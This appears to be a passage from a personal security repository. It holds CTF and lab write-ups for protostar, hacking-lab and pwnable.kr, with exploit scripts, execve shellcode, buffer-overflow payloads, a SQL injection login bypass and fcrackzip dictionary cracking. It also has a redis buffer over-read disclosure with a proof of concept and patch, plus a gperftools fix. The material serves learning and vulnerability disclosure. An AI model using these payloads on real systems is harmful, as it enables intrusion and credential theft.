197 |
198 | # stack 7
199 |
200 | I chose to use the instruction, which is `jmp eax`, as the return address.
201 | And I have updated the shellcode, because edx should be set as 0.
202 |
203 | ```python
204 | #!/usr/bin/env python
205 |
206 | import sys
207 |
208 | SHELL_CODE = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
209 | NOP= "\x90"
210 |
211 | ret_addr = "\xeb\x85\x04\x08" # 0x080485eb jmp eax
212 | old_ebp = "\xff\xff\xff\xbf" # 0xbfffffff
213 |
214 | buff_size = 0x4c
215 |
216 | # NOP shell_code NOP old_ebp ret_addr
217 | SH = NOP*4 + SHELL_CODE
218 | SH = SH + NOP*(buff_size-len(SH))
219 | SH = SH + old_ebp + ret_addr
220 | SH = SH + "\n"
221 | sys.stdout.write(SH)
222 | sys.stdout.flush()
223 |
224 | #write cmd
225 | cmd="/usr/bin/id"
226 | sys.stdout.write(cmd+"\n")
227 | sys.stdout.flush()
228 | ```
--------------------------------------------------------------------------------
/hacking-lab.com/1600 ZAP Proxy Writeup.md:
--------------------------------------------------------------------------------
1 | # The writeup for 1600 LiveCD Intro Challenge: ZAP Proxy
2 |
3 | ## Introduction
4 | This is a writeup for learning how to use ZAP Proxy.
5 |
6 | ## Steps
7 | The mission is to analyse the web requests between your browser and www.hacking-lab.com.
8 | ### Login request
9 | The request is a POST request with URL https://www.hacking-lab.com/user/login/index.html. The login parameters are userEmail and userPassword. However, the password is transported in plaintext.
10 |
11 | The snapshot is followed.
12 | 
13 |
14 | ### Server response (succeeded)
15 | After successful authentication, the server sent a 302 Moved Temporarily response with URL https://www.hacking-lab.com/events/
16 |
17 | The snapshot is followed.
18 | 
19 |
20 | ### Server Response (failed)
21 | If I input a wrong password, the server will send a 200 OK response. The content of website will show a error message 'Wrong Email and password combination'.
22 |
23 | The snapshot is followed.
24 | 
25 |
26 | ### Resend Feature
27 | The resend feature can be used by right clicking the login request item, and choosing resend item. And then the http parameters can be modified manually.
28 |
29 | The snapshot is followed.
30 | 
31 |
32 | ## Conclusion
33 | This is a beginner practice for ZAP Proxy. The trap and resend feature is cool.
34 |
--------------------------------------------------------------------------------
/hacking-lab.com/1600 ZAP Proxy Writeup.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/hacking-lab.com/1600 ZAP Proxy Writeup.pdf
--------------------------------------------------------------------------------
/hacking-lab.com/1600_snap_01.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/hacking-lab.com/1600_snap_01.png
--------------------------------------------------------------------------------
/hacking-lab.com/1600_snap_02.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/hacking-lab.com/1600_snap_02.png
--------------------------------------------------------------------------------
/hacking-lab.com/1600_snap_03.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/hacking-lab.com/1600_snap_03.png
--------------------------------------------------------------------------------
/hacking-lab.com/1600_snap_05.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/hacking-lab.com/1600_snap_05.png
--------------------------------------------------------------------------------
/hacking-lab.com/5020 Password protected ZIP Writeup.md:
--------------------------------------------------------------------------------
1 | # The Writeup for 5020 Password protected ZIP
2 |
3 | ## Introduction
4 | The mission is to crack a password protected ZIP archive.
5 | ## Writeup
6 |
7 | ### Vulnerability
8 | This is a password protected ZIP file. All password protected security mechanism is vulnerable to brute-force and dictionary attacks.
9 |
10 | ### Exploit
11 | I plan to use `fcrackzip`, which is a ZIP file password crack tools. Following command will crack this ZIP file to show the password is `close`.
12 |
13 | ```
14 | hacking-lab.com$ fcrackzip -b -D -p /usr/share/wordlists/rockyou.txt -u ./Geheim.zip
15 |
16 | PASSWORD FOUND!!!!: pw == close
17 | ```
18 |
19 | Among the parameters, `-b` means brute-force attack and `-D -p` means dictionary attack with password file `rockyou.txt`. Finally, `-u` means trying to decrypt ZIP file by `unzip`.
20 |
21 | The content of the extracted file `Geheim.txt` is `congratulations, you have found the password!`
22 |
23 | The snapshot is followed.
24 | 
25 |
26 | ### Mitigation
27 | The first comment is that the password should follow best practice. For example, at least 8-16 characters, with no meaningful mixture combination of lower and upper alphabet, numbers and special characters.
28 |
29 | Another security issue in ZIP file is that PKZIP Stream Cipher is vulnerable to a know plaintext attack[1,2]. Password protected ZIP file is not a good way to provide confidentiality of documents. In my opinion, zip and encryption with AES-256 is better.
30 | ## Conclusion
31 | Short password is easy to be cracked by brute-force and dictionary attacks.
32 | ## reference
33 | 1. Biham, Eli and Paul Kocher. “A Known Plaintext Attack on the PKZIP StreamCipher.” FastSoftwareEncryption2, ProceedingsoftheLeuven Workshop, LNCS 1008, December 1994.
34 | 2. Stay, Michael. "ZIP attacks with reduced known plaintext." Fast software encryption. Springer Berlin Heidelberg, 2002.
35 |
--------------------------------------------------------------------------------
/hacking-lab.com/5020 Password protected ZIP Writeup.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/hacking-lab.com/5020 Password protected ZIP Writeup.pdf
--------------------------------------------------------------------------------
/hacking-lab.com/5020_snap_01.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/hacking-lab.com/5020_snap_01.png
--------------------------------------------------------------------------------
/hacking-lab.com/6111 SQL Injection Attack Writeup.md:
--------------------------------------------------------------------------------
1 | # The writeup for 6111 SQL Injection Attack
2 |
3 | ## Introduction
4 | The mission is to exploit a vulnerability by a SQL injection attack. The authentication mechanism should be bypassed.
5 |
6 | ## Exploit
7 | I plan to construct the attack vector as follows.
8 |
9 | `Password=1' or 1=1 #`
10 |
11 | In this case, the SQL query might be:
12 |
13 | `SELECT * from users where user='hacker10' and password='1' or 1=1 # ' `
14 |
15 | The logic 1=1 will guarantee the expression to be True no matter what the password is given.
16 |
17 | ## Proof
18 | After I inputed the attack vector, the authentication mechanism is bypassed and I am able to view the user's profile which contains the credit-card details (1323-4545-6767-8989).
19 |
20 | The snapshot is followed.
21 | 
22 |
23 | ## Mitigation
24 | The general mitigation to SQL injection is to use precompiled sql statement and stored procedure. And never concatenate SQL with user input.
--------------------------------------------------------------------------------
/hacking-lab.com/6111 SQL Injection Attack Writeup.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/hacking-lab.com/6111 SQL Injection Attack Writeup.pdf
--------------------------------------------------------------------------------
/hacking-lab.com/6111_snap_01.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/hacking-lab.com/6111_snap_01.png
--------------------------------------------------------------------------------
/opensource/A deadlock bug fix solution for gperftools issues 775.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/opensource/A deadlock bug fix solution for gperftools issues 775.pdf
--------------------------------------------------------------------------------
/opensource/patch_issue_775.patch:
--------------------------------------------------------------------------------
1 | diff --git a/src/stacktrace.cc b/src/stacktrace.cc
2 | index 395d569..680a8c8 100644
3 | --- a/src/stacktrace.cc
4 | +++ b/src/stacktrace.cc
5 | @@ -243,13 +243,30 @@ namespace tcmalloc {
6 | namespace {
7 | using tcmalloc::EnterStacktraceScope;
8 | using tcmalloc::LeaveStacktraceScope;
9 | + // A patch for isuess 775. https://github.com/gperftools/gperftools/issues/775
10 | + __thread bool is_entry = false; // A TLS variable is aimming to prevent GetStackTrace*() reentry, which will introduce deadlock.
11 | + bool EnterStacktraceScope_reentry_check(){
12 | + if (is_entry){ // which means GetStackTrace*() was called and not finished.
13 | + //printf("[reentry detection] GetStackTrace reentry is detected. Can not do GetStackTrace() now\n");
14 | + return false; // It is unable to do get stack trace because reentry will introduce deadlock.
15 | + }else{ // which means GetStackTrace*() was not called before.
16 | + is_entry = true; // Setting a flag will indicate GetStackTrace*() will be called.
17 | + return true; // It is safe to call GetStackTrace*()
18 | + }
19 | + }
20 |
21 | + void LeaveStacktraceScope_reentry_release(){
22 | + is_entry = false; // It will leave GetStackTrace*(), so clear the flag.
23 | + }
24 | class StacktraceScope {
25 | bool stacktrace_allowed;
26 | public:
27 | StacktraceScope() {
28 | stacktrace_allowed = true;
29 | stacktrace_allowed = EnterStacktraceScope();
30 | + if (stacktrace_allowed){
31 | + stacktrace_allowed = EnterStacktraceScope_reentry_check(); // To check whether it is a reentry of GetStackTrace*()
32 | + }
33 | }
34 | bool IsStacktraceAllowed() {
35 | return stacktrace_allowed;
36 | @@ -257,6 +274,7 @@ namespace {
37 | ~StacktraceScope() {
38 | if (stacktrace_allowed) {
39 | LeaveStacktraceScope();
40 | + LeaveStacktraceScope_reentry_release(); // GetStackTrace*() finished.
41 | }
42 | }
43 | };
44 |
--------------------------------------------------------------------------------
/opensource/redis_vul_0906_2016/README.md:
--------------------------------------------------------------------------------
1 | #Buffer Over Read in redis-server 3.2.0 and Later
2 |
3 | #Introduction
4 |
5 | The redis-server dose not properly handle a corrupted rdb database file when loads it. The function serverLogHexDump(int level, char *descr, void *value, size_t len) does not check the validity of the last parameter `len`, which can be assigned from a rdb file. A very large value, such as 0xffffffff, will trigger a buffer over read, as demonstrated by exposing sensitive information, such as password. Also, the program will receive the SIGSEGV signal, if it accesses an invalid memory address. The vulnerability can also be used for the deny of service attack.
6 |
7 | #Proof of Concept
8 | I have reproduced this vulnerability with redis-server 3.2.3 in a Debian system and the newest [source code](https://github.com/antirez/redis) of redis in github.com. The program will crash and the password will be dumped in the log file.
9 |
10 | The source code of poc.sh is followed and the rdb file is located at ./poc/buffer_over_read.rdb:
11 |
12 | ```
13 | # Date: Sept 06, 2016
14 | # Vulnerability type: CWE-126: Buffer Over Read
15 | # Description: The last parameter named len in serverLogHexDump() can be controlled by a corrupted rdb database file. A very large value will trigger a buffer over read, resulting sensitive information on the stack exposed.
16 | # Affected Version: >=redis 3.2.0
17 | # Debian version: stretch and sid
18 |
19 | Redis_Path=`which redis-server`
20 | PASS_WORD='AAAA__PASSWORD__PASSWORD__AAAA'
21 | HEX_PASS='414141415f5f50415353574f52445f5f50415353574f52445f5f41414141'
22 | DB_FILE='buffer_over_read.rdb'
23 | LOG_FILE='error.log'
24 | echo "Redis Version:"
25 | $Redis_Path --version
26 |
27 | #sets a password and loads a rdb file
28 | $Redis_Path --requirepass $PASS_WORD --port 54321 --dbfilename $DB_FILE > $LOG_FILE
29 | #search password
30 | echo "The password $PASS_WORD will be found in the $LOG_FILE with hex format: $HEX_PASS"
31 | #cat $LOG_FILE | grep -n $HEX_PASS
32 | ```
33 | A core dump will be generated after the poc.sh is executed. The backtrace of the process is followed for debugging:
34 |
35 | ```
36 | Program received signal SIGSEGV, Segmentation fault.
37 | serverLogHexDump (level=level@entry=3, descr=descr@entry=0x4ef6c0 "ziplist with dup elements dump", value=, len=2019155864) at debug.c:1059
38 | 1059 b[0] = charset[(*v)>>4];
39 | (gdb) x/i $pc
40 | => 0x4638c0 : movzbl 0x0(%rbp),%edx
41 | (gdb) p/x $rbp
42 | $1 = 0x7ffff6c00000
43 | (gdb) bt
44 | #0 serverLogHexDump (level=level@entry=3, descr=descr@entry=0x4ef6c0 "ziplist with dup elements dump", value=, len=2019155864) at debug.c:1059
45 | #1 0x00000000004545fa in hashTypeConvertZiplist (o=0x7ffff6a6e4b0, enc=) at t_hash.c:486
46 | #2 0x00000000004546b5 in hashTypeConvert (o=o@entry=0x7ffff6a6e4b0, enc=enc@entry=2) at t_hash.c:502
47 | #3 0x0000000000446256 in rdbLoadObject (rdbtype=rdbtype@entry=13, rdb=rdb@entry=0x7fffffffe3f0) at rdb.c:1296
48 | #4 0x0000000000446e57 in rdbLoad (filename=) at rdb.c:1490
49 | #5 0x000000000042d854 in loadDataFromDisk () at server.c:3378
50 | #6 0x00000000004218e6 in main (argc=3, argv=0x7fffffffea08) at server.c:3656
51 | (gdb)
52 | ```
53 |
54 |
55 | And the memory layout of the process is followed for your reference:
56 |
57 | ```
58 | (gdb) info proc mappings
59 | process 2778
60 | Mapped address spaces:
61 |
62 | Start Addr End Addr Size Offset objfile
63 | 0x400000 0x52e000 0x12e000 0x0 /usr/local/bin/redis-server
64 | 0x72d000 0x72e000 0x1000 0x12d000 /usr/local/bin/redis-server
65 | 0x72e000 0x733000 0x5000 0x12e000 /usr/local/bin/redis-server
66 | 0x733000 0x76b000 0x38000 0x0 [heap]
67 | 0x7ffff51fd000 0x7ffff51fe000 0x1000 0x0
68 | 0x7ffff51fe000 0x7ffff59fe000 0x800000 0x0 [stack:2792]
69 | 0x7ffff59fe000 0x7ffff59ff000 0x1000 0x0
70 | 0x7ffff59ff000 0x7ffff61ff000 0x800000 0x0 [stack:2791]
71 | 0x7ffff61ff000 0x7ffff6200000 0x1000 0x0
72 | 0x7ffff6200000 0x7ffff6c00000 0xa00000 0x0 [stack:2790]
73 | 0x7ffff6d37000 0x7ffff7000000 0x2c9000 0x0 /usr/lib/locale/locale-archive
74 | 0x7ffff7000000 0x7ffff7200000 0x200000 0x0
75 | 0x7ffff72ed000 0x7ffff74a8000 0x1bb000 0x0 /lib/x86_64-linux-gnu/libc-2.19.so
76 | 0x7ffff74a8000 0x7ffff76a7000 0x1ff000 0x1bb000 /lib/x86_64-linux-gnu/libc-2.19.so
77 | 0x7ffff76a7000 0x7ffff76ab000 0x4000 0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
78 | 0x7ffff76ab000 0x7ffff76ad000 0x2000 0x1be000 /lib/x86_64-linux-gnu/libc-2.19.so
79 | 0x7ffff76ad000 0x7ffff76b2000 0x5000 0x0
80 | 0x7ffff76b2000 0x7ffff76cb000 0x19000 0x0 /lib/x86_64-linux-gnu/libpthread-2.19.so
81 | 0x7ffff76cb000 0x7ffff78ca000 0x1ff000 0x19000 /lib/x86_64-linux-gnu/libpthread-2.19.so
82 | 0x7ffff78ca000 0x7ffff78cb000 0x1000 0x18000 /lib/x86_64-linux-gnu/libpthread-2.19.so
83 | 0x7ffff78cb000 0x7ffff78cc000 0x1000 0x19000 /lib/x86_64-linux-gnu/libpthread-2.19.so
84 | 0x7ffff78cc000 0x7ffff78d0000 0x4000 0x0
85 | 0x7ffff78d0000 0x7ffff78d3000 0x3000 0x0 /lib/x86_64-linux-gnu/libdl-2.19.so
86 | 0x7ffff78d3000 0x7ffff7ad2000 0x1ff000 0x3000 /lib/x86_64-linux-gnu/libdl-2.19.so
87 | 0x7ffff7ad2000 0x7ffff7ad3000 0x1000 0x2000 /lib/x86_64-linux-gnu/libdl-2.19.so
88 | 0x7ffff7ad3000 0x7ffff7ad4000 0x1000 0x3000 /lib/x86_64-linux-gnu/libdl-2.19.so
89 | 0x7ffff7ad4000 0x7ffff7bd9000 0x105000 0x0 /lib/x86_64-linux-gnu/libm-2.19.so
90 | 0x7ffff7bd9000 0x7ffff7dd8000 0x1ff000 0x105000 /lib/x86_64-linux-gnu/libm-2.19.so
91 | 0x7ffff7dd8000 0x7ffff7dd9000 0x1000 0x104000 /lib/x86_64-linux-gnu/libm-2.19.so
92 | 0x7ffff7dd9000 0x7ffff7dda000 0x1000 0x105000 /lib/x86_64-linux-gnu/libm-2.19.so
93 | 0x7ffff7dda000 0x7ffff7dfd000 0x23000 0x0 /lib/x86_64-linux-gnu/ld-2.19.so
94 | 0x7ffff7fd8000 0x7ffff7fdc000 0x4000 0x0
95 | 0x7ffff7ff6000 0x7ffff7ffa000 0x4000 0x0
96 | 0x7ffff7ffa000 0x7ffff7ffc000 0x2000 0x0 [vdso]
97 | 0x7ffff7ffc000 0x7ffff7ffd000 0x1000 0x22000 /lib/x86_64-linux-gnu/ld-2.19.so
98 | 0x7ffff7ffd000 0x7ffff7ffe000 0x1000 0x23000 /lib/x86_64-linux-gnu/ld-2.19.so
99 | 0x7ffff7ffe000 0x7ffff7fff000 0x1000 0x0
100 | 0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack]
101 | 0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
102 | ```
103 |
104 | Based on the above gdb information, I think the reason of the crash is that the last instruction was trying to read memory at address 0x7ffff6c00000, which was out of the stack range (0x7ffff6200000 to 0x7ffff6c00000) and was invalid for reading.
105 |
106 | After analysing the following source code of the vulnerable function, I found the register `$rbp` in the last instruction `movzbl 0x0(%rbp),%edx` represents the pointer `v` in the following c source code. This function dose not check the validity of the pointer `v`. The pointer `v` will increase until it reaches a invalid address during the the every time of the loop. More seriously, the function serverLogRaw() will dump all the content of the stack when the pointer `v` increases. The vulnerable function will lead the password on the stack to be dumped into the log file.
107 |
108 | ```
109 | // src/debug.c:1051
110 | void serverLogHexDump(int level, char *descr, void *value, size_t len) {
111 | char buf[65], *b;
112 | unsigned char *v = value;
113 | char charset[] = "0123456789abcdef";
114 |
115 | serverLog(level,"%s (hexdump):", descr);
116 | b = buf;
117 | while(len) {
118 | b[0] = charset[(*v)>>4];
119 | b[1] = charset[(*v)&0xf];
120 | b[2] = '\0';
121 | b += 2;
122 | len--;
123 | v++;
124 | if (b-buf == 64 || len == 0) {
125 | serverLogRaw(level|LL_RAW,buf);
126 | b = buf;
127 | }
128 | }
129 | serverLogRaw(level|LL_RAW,"\n");
130 | }
131 | ```
132 |
133 | #Countermeasure
134 |
135 | I prefer to remove the calling of the vulnerable function `serverLogHexDump()`. Because the parameter `len` is controlled by the db file and it is difficult to detect whether the length of the data is as same as the value of `len`.
136 |
137 | The patch is followed:
138 |
139 | ```
140 | diff --git a/src/t_hash.c b/src/t_hash.c
141 | index a495593..3ae0d46 100644
142 | --- a/src/t_hash.c
143 | +++ b/src/t_hash.c
144 | @@ -483,8 +483,6 @@ void hashTypeConvertZiplist(robj *o, int enc) {
145 | value = hashTypeCurrentObjectNewSds(hi,OBJ_HASH_VALUE);
146 | ret = dictAdd(dict, key, value);
147 | if (ret != DICT_OK) {
148 | - serverLogHexDump(LL_WARNING,"ziplist with dup elements dump",
149 | - o->ptr,ziplistBlobLen(o->ptr));
150 | serverPanic("Ziplist corruption detected");
151 | }
152 | }
153 |
154 | ```
155 |
156 | #Conclusion
157 |
158 | A buffer over read vulnerability is found in redis-server 3.2.0 and later. The report shows the proof of concept and vulnerability analysis. Finally, a patch is attached in the end.
--------------------------------------------------------------------------------
/opensource/redis_vul_0906_2016/README.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/opensource/redis_vul_0906_2016/README.pdf
--------------------------------------------------------------------------------
/opensource/redis_vul_0906_2016/patch/redis_vul_0906_2016.patch:
--------------------------------------------------------------------------------
1 | diff --git a/src/t_hash.c b/src/t_hash.c
2 | index a495593..3ae0d46 100644
3 | --- a/src/t_hash.c
4 | +++ b/src/t_hash.c
5 | @@ -483,8 +483,6 @@ void hashTypeConvertZiplist(robj *o, int enc) {
6 | value = hashTypeCurrentObjectNewSds(hi,OBJ_HASH_VALUE);
7 | ret = dictAdd(dict, key, value);
8 | if (ret != DICT_OK) {
9 | - serverLogHexDump(LL_WARNING,"ziplist with dup elements dump",
10 | - o->ptr,ziplistBlobLen(o->ptr));
11 | serverPanic("Ziplist corruption detected");
12 | }
13 | }
14 |
15 |
--------------------------------------------------------------------------------
/opensource/redis_vul_0906_2016/poc/buffer_over_read.rdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jingleyang/security_ctf/367ec4080734117fb948a937d94f81aea4502714/opensource/redis_vul_0906_2016/poc/buffer_over_read.rdb
--------------------------------------------------------------------------------
/opensource/redis_vul_0906_2016/poc/clean.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | rm -rf ./core
4 | rm -rf ./*.log
5 |
6 |
--------------------------------------------------------------------------------
/opensource/redis_vul_0906_2016/poc/install_redis.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | sudo apt-get install -y redis-server
4 |
--------------------------------------------------------------------------------
/opensource/redis_vul_0906_2016/poc/poc.sh:
--------------------------------------------------------------------------------
1 | # Date: Sept 06, 2016
2 | # Vulnerability type: CWE-126: Buffer Over Read
3 | # Description: The last parameter named len in serverLogHexDump() can be controled by a curruption rdb database file. A very large value will triger a buffer over read, resulting sensitve information on the stack exposed.
4 | # Affected Version: >=redis 3.2.0
5 | # Debian version: stretch and sid
6 |
7 | Redis_Path=`which redis-server`
8 | PASS_WORD='AAAA__PASSWORD__PASSWORD__AAAA'
9 | HEX_PASS='414141415f5f50415353574f52445f5f50415353574f52445f5f41414141'
10 | DB_FILE='buffer_over_read.rdb'
11 | LOG_FILE='error.log'
12 | echo "Redis Version:"
13 | $Redis_Path --version
14 |
15 | #sets a password and loads a rdb file
16 | $Redis_Path --requirepass $PASS_WORD --port 54321 --dbfilename $DB_FILE > $LOG_FILE
17 | #search password
18 | echo "The password $PASS_WORD will be found in the $LOG_FILE with hex format: $HEX_PASS"
19 | #cat $LOG_FILE | grep -n $HEX_PASS
20 |
--------------------------------------------------------------------------------
/preparing_cuckoo.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | APT_GET="sudo apt-get -y install"
4 |
5 | $APT_GET python python-sqlalchemy
6 |
7 | $APT_GET python-dpkt python-jinja2 python-magic python-pymongo python-libvirt python-bottle python-pefile ssdeep
8 |
9 | sudo pip -q install pydeep
10 |
11 | $APT_GET build-essential git libpcre3 libpcre3-dev libpcre++-dev automake yara
12 |
13 | #tcpdump
14 | sudo setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
15 | getcap /usr/sbin/tcpdump
16 |
17 | # Linux kernel
18 | $APT_GET linux-headers-`uname -r`
19 |
20 | $APT_GET libsdl1.2debian
21 |
22 | curl -o virtualbox.dev -L "http://download.virtualbox.org/virtualbox/5.1.2/virtualbox-5.1_5.1.2-108956i~Ubuntu~trusty_amd64.deb"
23 | sudo dpkg -i ./virtualbox.deb
24 |
25 | # cuckoo
26 | git clone https://github.com/cuckoosandbox/cuckoo
27 |
28 | sudo /etc/init.d/vboxdrv setup
29 |
30 | sudo adduser cuckoo
31 | sudo usermod -G vboxusers cuckoo
32 | sudo usermod -G libvirtd cuckoo
33 |
34 |
--------------------------------------------------------------------------------
/pwnable.kr/01_level.md:
--------------------------------------------------------------------------------
1 | # The Writeup for Toddler's Bottle Level
2 |
3 | ## Introduction
4 |
5 | This is the first level of the [pwnable.kr](http://pwnable.kr/) practices. All in all, the problems in this level provide a very good introduction to CTF beginners.
6 |
7 | ## Writeup
8 | ### fd
9 |
10 | In the Linux environment, file descriptor (FD), which is an unsigned integer,is used in FILE I/O. In the header file \:
11 |
12 | 0 is STDIN_FILENO, which is the standard input.
13 | 1 is STDOUT_FILENO, which is the standard output.
14 | 2 is STDERR_FILENO, which is the standard error.
15 |
16 | The vulnerable c source code is followed.
17 |
18 | ```
19 | #include
20 | #include
21 | #include
22 | char buf[32];
23 | int main(int argc, char* argv[], char* envp[]){
24 | if(argc<2){
25 | printf("pass argv[1] a number\n");
26 | return 0;
27 | }
28 | int fd = atoi( argv[1] ) - 0x1234;
29 | int len = 0;
30 | len = read(fd, buf, 32);
31 | if(!strcmp("LETMEWIN\n", buf)){
32 | printf("good job :)\n");
33 | system("/bin/cat flag");
34 | exit(0);
35 | }
36 | printf("learn about Linux file IO\n");
37 | return 0;
38 |
39 | }
40 | ```
41 |
42 | If argv[1] is set as 4660 (0x1234), the variable `fd` will be 0, which is the standard input. And then, we just got the flag when we input `LETMEWIN` on the screen.
43 |
44 | -
45 |
46 | `mommy! I think I know what a file descriptor is!!`
47 |
48 | -
49 |
50 | ### collision
51 |
52 | The design of a hash function should consider the collision. In this task, the hash function is a simple sum function. The source code is followed.
53 |
54 | ```
55 | #include
56 | #include
57 | unsigned long hashcode = 0x21DD09EC;
58 | unsigned long check_password(const char* p){
59 | int* ip = (int*)p;
60 | int i;
61 | int res=0;
62 | for(i=0; i<5; i++){
63 | res += ip[i];
64 | }
65 | return res;
66 | }
67 |
68 | int main(int argc, char* argv[]){
69 | if(argc<2){
70 | printf("usage : %s [passcode]\n", argv[0]);
71 | return 0;
72 | }
73 | if(strlen(argv[1]) != 20){
74 | printf("passcode length should be 20 bytes\n");
75 | return 0;
76 | }
77 |
78 | if(hashcode == check_password( argv[1] )){
79 | system("/bin/cat flag");
80 | return 0;
81 | }
82 | else
83 | printf("wrong passcode.\n");
84 | return 0;
85 | }
86 | ```
87 |
88 | The destination hash value is 0x21DD09EC, which should be the sum of five unsigned 32bit integers. The integers should not contain '\x00' byte. So that we chose numbers as followed python code, which is stored in the path `/tmp/ex.py` and then print it.
89 |
90 | ```
91 | #!/usr/bin/env python
92 | import sys
93 |
94 | """
95 | 5 32bit integer:
96 | 0x01010101
97 | 0x01010101
98 | 0x01010101
99 | 0x01010101
100 | 0x1dd905e8
101 | sum: 0x21DD09EC
102 | """
103 | val = '\x01\x01\x01\x01'*4+'\xe8\x05\xd9\x1d'
104 |
105 | sys.stdout.write(val)
106 | ```
107 |
108 | Then this command will show us the flag.
109 |
110 | ```
111 | ./col `python /tmp/ex.py`
112 | ```
113 |
114 | -
115 |
116 | `daddy! I just managed to create a hash collision :)`
117 |
118 | -
119 |
120 | ### bof
121 |
122 | This is a basic buffer overflow task, but the difficulty may be existed in communication to the server. If you receive the following message
123 |
124 | `*** stack smashing detected ***: /home/bof/bof terminated`
125 |
126 | Please just try shell command in this way in your local shell:
127 |
128 | ``
129 | (python ex.py ; cat - ) | nc pwnable.kr 9000
130 | ``
131 |
132 | The command `cat -` will receive response of the new shell, and make sure the system() will not finish too quick.
133 |
134 | The vulnerable source code is followed.
135 |
136 | ```
137 | #include
138 | #include
139 | #include
140 | void func(int key){
141 | char overflowme[32];
142 | printf("overflow me : ");
143 | gets(overflowme); // smash me!
144 | if(key == 0xcafebabe){
145 | system("/bin/sh");
146 | }
147 | else{
148 | printf("Nah..\n");
149 | }
150 | }
151 | int main(int argc, char* argv[]){
152 | func(0xdeadbeef);
153 | return 0;
154 | }
155 | ```
156 |
157 | And the content of the ex.py is followed.
158 |
159 | ```
160 | #!/usr/bin/env python
161 |
162 | import sys
163 |
164 | PRE="A"*0x34
165 | SIGN='\xbe\xba\xfe\xca'
166 | OUT=PRE+SIGN
167 | print(OUT)
168 | ```
169 |
170 | It maybe a little bit difficult to calculate the distant between the address of `key` and the address of `overflowme`. The easies way is to differ two address of them in GDB. The distant is 0x34 in this case.
171 |
172 | The flag is followed.
173 |
174 | -
175 | `daddy, I just pwned a buFFer :)`
176 |
177 | -
178 |
179 | ### flag
180 |
181 | The binary in this task is packed in UPX format. The first step is unpack the binary to original elf content.
182 |
183 | `upx -d flag -o flag.elf`
184 |
185 | The output on the screen inspired me.
186 |
187 | `I will malloc() and strcpy the flag there. take it.`
188 |
189 | There are two ideas in my mind. One is to trace the address of the buffer, which is allocated by malloc(). The other is to set breakpoint at libc function strcpy and then monitor the content of parameters. I chose the later one.
190 |
191 | This is my gdb init file.
192 |
193 | ```
194 | info file
195 | display/i $pc
196 | break strcpy
197 | break malloc
198 | set follow-fork-mode child
199 | ```
200 |
201 | Then gdb showed the flag.
202 |
203 | ```
204 | Breakpoint 1, 0x00000000004153a0 in __strcpy_ssse3 ()
205 | 1: x/i $pc
206 | => 0x4153a0 <__strcpy_ssse3>: mov %rsi,%rcx
207 | (gdb) p/x $rsi
208 | $1 = 0x496628
209 | (gdb) x/s 0x496628
210 | 0x496628: "UPX...? sounds like a delivery service :)"
211 | ```
212 |
213 | The flag is.
214 |
215 | -
216 | `UPX...? sounds like a delivery service :)`
217 |
218 | -
219 |
220 | ### passcode
221 |
222 | A very common mistake is forgetting the address symbol & , when a address is needed.
223 |
224 | The vulnerable source code is followed.
225 |
226 | ```
227 | #include
228 | #include
229 |
230 | void login(){
231 | int passcode1;
232 | int passcode2;
233 |
234 | printf("enter passcode1 : ");
235 | scanf("%d", passcode1);
236 | fflush(stdin);
237 |
238 | // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
239 | printf("enter passcode2 : ");
240 | scanf("%d", passcode2);
241 |
242 | printf("checking...\n");
243 | if(passcode1==338150 && passcode2==13371337){
244 | printf("Login OK!\n");
245 | system("/bin/cat flag");
246 | }
247 | else{
248 | printf("Login Failed!\n");
249 | exit(0);
250 | }
251 | }
252 |
253 | void welcome(){
254 | char name[100];
255 | printf("enter you name : ");
256 | scanf("%100s", name);
257 | printf("Welcome %s!\n", name);
258 | }
259 |
260 | int main(){
261 | printf("Toddler's Secure Login System 1.0 beta.\n");
262 |
263 | welcome();
264 | login();
265 |
266 | // something after login...
267 | printf("Now I can safely trust you that you have credential :)\n");
268 | return 0;
269 | }
270 |
271 | ```
272 |
273 | The parameters for the function scanf() should be address, not the value. However, if you insist pass a value to the scanf(), it will be considered as a address.
274 |
275 | If we can control the content of the variable passcode1 and passcode2, we will get the flag. The first idea is manipulate the content of the string name[100]. The content of the stack will not be cleaned when the current function is returned. The content in the stack will be reused by the next calling function, which is login() in this case. However, we can only manipulate the initial value of the passcode1, since the variable layout of the stack. The good news is the initial value of the variable passcode1 will be used as a address for the function scanf(). Based on this vulnerability, we can overwrite an 4 byte memory, where the flag is marked as writeable. GOT PLT exploitation technique will be very helpful in this situation. We can overwrite the PLT record of the function exit() to the value 0x80485d7, which is the address of the login ok logic.
276 |
